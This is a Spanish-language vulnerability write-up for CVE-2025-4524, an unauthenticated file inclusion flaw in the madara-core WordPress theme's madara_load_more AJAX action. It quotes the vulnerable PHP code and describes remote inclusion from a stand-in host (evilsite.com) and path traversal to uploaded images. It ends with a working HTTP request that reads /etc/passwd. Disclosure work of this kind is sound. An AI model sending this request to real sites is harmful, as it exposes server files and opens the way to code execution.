
CVE-2025-4524 - LFI no autenticado en el tema de WordPress madara-core
Existe una vulnerabilidad en la acción madara_load_more de madara, donde un parámetro template son datos arbitrarios del usuario y se pasan a la función include de PHP.
Existe una vulnerabilidad en la acción madara_load_more de madara, donde un parámetro template son datos arbitrarios del usuario y se pasan a la función de PHP.
includeEl código vulnerable es el siguiente:
add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );
...
function ajax_load_next_page() {
...
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$madara_loop_index ++;
set_query_var( 'madara_loop_index', $madara_loop_index );
if ( $madara_loop_index < $posts_per_page + 1 ) {
if ( ( strpos( $template, 'plugins' ) !== false ) ) {
include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
} else {
//$post_format = get_post_format() ? get_post_format : '';
get_template_part( $template, get_post_format() );
}
}
}
if ( $query->post_count <= $posts_per_page ) {
// there are no more posts
// print a flag to detect
echo '<div class="invi no-posts"><!-- --></div>';
}
} else {
// no posts found
}
/* Restore original Post Data */
wp_reset_postdata();
die( '' );
}
En cada consulta exitosa de madara_load_more, la plantilla pasada mediante template se renderizará con el resultado. Si la cadena plugins aparece en el parámetro template, la entrada se pasa tal cual a include, mientras que si no está presente, WordPress buscará la plantilla.
Podemos usar esto para consultar archivos arbitrarios, ya sea con https://evilsite.com/plugins/evil.php si allow_url_include está habilitado, o mediante un path traversal. Dado que el directorio actual al realizar estas acciones es wp-content/themes/madara/app/, y existe un directorio plugins, podemos incluir algo como plugins/../../../../../wp-content/uploads/evil.png.
Esto se puede explotar dependiendo de allow_url_include.
Si está habilitado, un actor malicioso puede configurar un servidor HTTP que responda con un script PHP malicioso al recibir una solicitud con la cadena plugins.
Si está deshabilitado, un actor malicioso puede subir un archivo que contenga una cadena PHP (metadatos EXIF de imagen, datos de píxeles de imagen, etc.) por otros medios en la instancia de WordPress e incluir el archivo. De esta manera, los datos de la imagen no se interpretarán como PHP y solo se ejecutará el PHP entre etiquetas.
Esto puede conducir a RCE o LFI.

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail